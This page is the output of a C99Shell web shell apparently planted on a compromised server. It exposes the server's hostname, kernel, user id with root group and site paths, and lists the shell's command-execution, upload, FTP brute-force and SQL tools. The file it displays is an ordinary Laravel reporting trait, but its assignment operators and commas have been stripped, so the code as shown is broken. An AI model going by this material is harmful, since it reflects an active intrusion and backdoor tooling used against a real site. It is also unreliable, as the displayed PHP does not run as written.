!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Services/Reports/   drwxr-xr-x
Free 25.56 GB of 117.98 GB (21.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReportHelperTrait.php (6.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
* @package ReportHelperTrait
* @author TechVillage <support@techvill.org>
* @contributor Muhammad AR Zihad <[zihad.techvill@gmail.com]>
* @contributor Al Mamun <[almamun.techvill@gmail.com]>
* @created 19-04-2022
*/

namespace App\Services\Reports;

trait 
ReportHelperTrait
{

    
/**
     * Stores processed value for return
     */
    
private $return null;

    
/**
     * Stores temporary key for the first value which gets stored in $return
     */
    
private $tempKey;

    
/**
     * Limit of taking data
     */
    
private $limit 5;

    
/**
     * Get date of certain offset / Today
     *
     * @param string | null $offset Offset is how many days you want to differ from current date
     * @return string
     */
    
private function offsetDate($offset null)
    {
        if (
$offset) {
            return 
date('Y-m-d'strtotime($offset " day"));
        }

        return 
date('Y-m-d');
    }

    
/**
     * Get the last weeks first & last day
     *
     * @return array
     */
    
private function lastWeek()
    {
        return [
            
'start' => now()->startOfWeek()->subWeek()->toDateString(),
            
'end' => now()->endOfWeek()->subWeek()->toDateString()
        ];
    }

    
/**
     * Get the last months
     *
     * @return array
     */
    
private function lastMonth()
    {
        return [
            
'start' => now()->startOfMonth()->subMonth()->toDateString(),
            
'end' => now()->endOfMonth()->subMonth()->toDateString()
        ];
    }

    
/**
     * Get the last months
     *
     * @return array
     */
    
private function lastYear()
    {
        return [
            
'start' => now()->startOfYear()->subYear()->toDateString(),
            
'end' => now()->endOfYear()->subYear()->toDateString()
        ];
    }

    
/**
     * Get the last weeks first & last day
     *
     * @return array
     */
    
private function currentWeek()
    {
        return [
            
'start' => now()->startOfWeek()->toDateString(),
            
'end' => now()->endOfWeek()->toDateString()
        ];
    }

    
/**
     * Get the current month
     *
     * @return array
     */
    
private function currentMonth()
    {
        return [
            
'start' => now()->startOfMonth()->toDateString(),
            
'end' => now()->endOfMonth()->toDateString()
        ];
    }

    
/**
     * Get the current year
     *
     * @return array
     */
    
private function currentYear()
    {
        return [
            
'start' => now()->startOfYear()->toDateString(),
            
'end' => now()->endOfYear()->toDateString()
        ];
    }

    
/**
     * Arraying the processed data
     *
     * @return array
     */
    
public function getArray()
    {
        if (!
$this->return) {
            return [];
        } elseif (
is_array($this->return)) {
            return 
$this->return;
        }

        if (
$this->tempKey) {
            return [
                
$this->tempKey => $this->return
            
];
        }

        return [
            
'value' => $this->return
        
];
    }


    
/**
     * Updates the $return property
     *
     * @param mixed $value
     * @param string $key
     * @return void
     */
    
private function setReturn($value$key)
    {
        if (
$this->return === null) {
            
$this->tempKey $key;
            
$this->return $value;
        } elseif (
is_array($this->return)) {
            
$this->return[$key] = $value;
        } else {
            
$tempVal $this->return;
            
$this->return = [];
            
$this->return[$this->tempKey] = $tempVal;
            
$this->return[$key] = $value;
        }
    }

    
/**
     * Returns the final processed value
     *
     * @return mixed
     */
    
public function get()
    {
        return 
$this->return;
    }

    
/**
     * Returns data as API response
     *
     * @return mixed
     */
    
public function getResponse()
    {
        return 
$this->response($this->get());
    }

    
/**
     * First day of the current month
     *
     * @return string
     */
    
private function firstDayOfTheMonth()
    {
        return 
date('m-01-Y');
    }

    
/**
     * Last day of the current month
     *
     * @return string
     */
    
private function lastDayOfTheMonth()
    {
        return 
date('m-t-Y');
    }

    
/**
     * Tomorrow date
     *
     * @return string
     */
    
private function tomorrow()
    {
        return 
$this->offsetDate('+1');
    }

    
/**
     * 1-31 day from date
     *
     * @param string $date
     * @return int
     */
    
private function getDay($date)
    {
        return (int) 
date('d'strtotime($date));
    }

    
/**
     * Get Month from date
     *
     * @param string $date
     * @return int
     */
    
private function getMonth($date)
    {
        return (int) 
date('m'strtotime($date));
    }

    
/**
     * Processes return value and return itself
     *
     * @param mixed $data
     * @param string $key
     * @return mixed
     */
    
private function complete($data$key$returnThis true)
    {
        
$this->setReturn($data$key);
        if (
$returnThis) {
            return 
$this;
        }

        return 
$data;
    }

    
/**
     * Calculates growth rates
     *
     * @param float $start
     * @param float $end
     * @return mixed
     */
    
private function growthRate($present$past)
    {
        if (!
$present && !$past) {
            return 
null;
        } elseif (
$past == 0) {
            return 
'&#8734;';
        }

        return 
round(($present $past) / $past 100);
    }

    
/**
     * Returns value from the array
     *
     * @param string $key
     * @return mixed
     */
    
private function getValue($key)
    {
        if (
$key && $key <> '' && isset($this->return[$key])) {
            return 
$this->return[$key];
        }

        return 
null;
    }

    
/**
     * Get the limit
     *
     * @return int
     */
    
private function getLimit()
    {
        return 
$this->limit;
    }

    
/**
     * Get vendor id
     *
     * @return int
     */
    
private function getVendorId()
    {
        if (!
$this->vendorId) {
            
$this->vendorId auth()->user()->vendor()->vendor_id ?? auth()->user()->id;
        }

        return 
$this->vendorId;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--